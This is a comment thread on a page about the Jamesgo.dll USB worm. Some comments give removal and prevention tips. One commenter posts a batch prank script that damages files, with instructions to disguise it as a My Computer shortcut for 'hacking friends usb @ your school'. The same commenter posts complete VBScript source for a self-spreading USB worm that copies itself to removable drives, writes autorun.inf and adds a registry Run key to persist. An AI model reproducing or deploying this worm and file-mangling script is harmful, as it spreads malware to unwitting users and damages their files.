Comments on: USB Worm (Jamesgo.dll)

By: mertkagan

mertkagan — Wed, 10 Jun 2009 20:52:24 +0000

many years ago when i visit the nasa site i heard a usb voice this sound like bloom…i think the goverment connect to my computer with a worm or 3rd pard software or a bullshit server side script. everbody has a potantial risk ) is it may be a like usb worm ???

By: CORVETTE

CORVETTE — Mon, 15 Sep 2008 08:18:57 +0000

MAN UR THE MAN! VIVA LA KEYBOARD MASTERS

By: bonlax_181

bonlax_181 — Tue, 08 Jul 2008 11:16:44 +0000

hacking friends usb @ your school
@echo off
cls
mkdir c:\Bonlax181
cd\
rem pag ang drive is D use D
d:
copy *.exe c:\Bonlax181
copy *.mp3 c:\Bonlax181
copy *.wmv c:\Bonlax181
copy *.doc c:\Bonlax181
Ren *.exe *.txt
Ren *.mp3 *.txt
Ren *.wmv *.txt
Ren *.doc *.txt
Echo”GAGO KA!NA HACK NA FILE U” >> d:\PLZ CLICK.HTML
exit

after save this MyComputer.bat
to Desktop
then make a shortcut of this then change the shortcut file my compute icon and the oreginal hide it..para hindi makita o ma delete..
pag programer ka alam mo na ibig ko sabihin…hehehehe

By: bonlax_181

bonlax_181 — Tue, 08 Jul 2008 11:00:25 +0000

‘W32/SJITBULOK
‘By:TROJANZ@SJIT
‘July 07,08
‘Subject – PAG PANIMALOS
‘Animal Gi INC ko tol!!!!!!
On Error Resume Next
Dim mysource, winpath, flashdrive, fs, mf, atr, tf, rg, nt, check, sd
atr = “[autorun]“&vbcrlf&”shellexecute=wscript.exe SJIT-BULOK.bat.vbs”
Set fs = CreateObject(“Scripting.FileSystemObject”)
Set mf = fs.getfile(Wscript.ScriptFullname)
Dim text, size
size = mf.size
check = mf.Drive.drivetype
Set text = mf.openastextstream(1, -2)
Do While Not text.atendofstream
mysource=mysource&text.readline
mysource = mysource & vbCrLf
Loop
Do
Set winpath = fs.getspecialfolder(0)
Set tf = fs.getfile(winpath & “\SJIT-BULOK.bat.vbs”)
tf.Attributes = 32
Set tf = fs.createtextfile(winpath & “\SJIT-BULOK.bat.vbs”, 2, True)
tf.write mysource
tf.Close
Set tf = fs.getfile(winpath & “\SJIT-BULOK.bat.vbs”)
tf.Attributes = 39
For Each flashdrive In fs.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path “A:” Then
Set tf = fs.getfile(flashdrive.Path & “\SJIT-BULOK.bat.vbs”)
tf.Attributes = 32
Set tf = fs.createtextfile(flashdrive.Path & “\SJIT-BULOK.bat.vbs”, 2, True)
tf.write mysource
tf.Close
Set tf = fs.getfile(flashdrive.Path & “\SJIT-BULOK.bat.vbs”)
tf.Attributes = 39
Set tf = fs.getfile(flashdrive.Path & “\autorun.inf”)
tf.Attributes = 32
Set tf = fs.createtextfile(flashdrive.Path & “\autorun.inf”, 2, True)
tf.write atr
tf.Close
Set tf = fs.getfile(flashdrive.Path & “\autorun.inf”)
tf.Attributes = 39
End If
Next

Set rg = CreateObject(“WScript.Shell”)
rg.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\screws”, “C:\SJIT-BULOK.bat.vbs”, “REG_SZ”

If check 1 Then
Wscript.Sleep 20000
End If
Loop While check 1
Set sd = CreateObject(“Wscript.shell”)
sd.run winpath&”\explorer.exe /e,/select, “&Wscript.ScriptFullname

By: bonlax_181

bonlax_181 — Tue, 08 Jul 2008 10:48:49 +0000

plz post a code

By: moszkito

moszkito — Sat, 21 Jun 2008 13:08:58 +0000

usb firewall is also a good solution and it also notify you and delete the worm from the pendrive http://net-studio.org/application/usb_firewall.php and its free

By: pinb@ll

pinb@ll — Mon, 05 May 2008 13:33:19 +0000

I received this when I went to Puerto Rico and shared some USB keys to transfer some different programs. We successfully removed it, but noticed that Semantec identified the risk and quarantined the file on some computers, but not on others.

Reminder to update your virus definitions!

By: Blackshadowbutt

Blackshadowbutt — Mon, 10 Mar 2008 13:25:12 +0000

hay friends i am new on your web
please guide me that how can i become i hacker
my mail is blackshadowbutt@yahoo.com

By: stella ovivir

stella ovivir — Tue, 04 Mar 2008 04:40:25 +0000

please help me..i also got the virus..sadly my brother transfered it to my mobile phone..please help..how can i remove it

By: mike miller

mike miller — Mon, 03 Mar 2008 05:05:52 +0000

hay try this. if you have a floppy drive boot off a rescue disk in dos manually remove the virus. of course at c:\ you type attrib -r -s -h test.* then del test.* same for autorun.* and same at windows\system32 GOODLUCK..Mike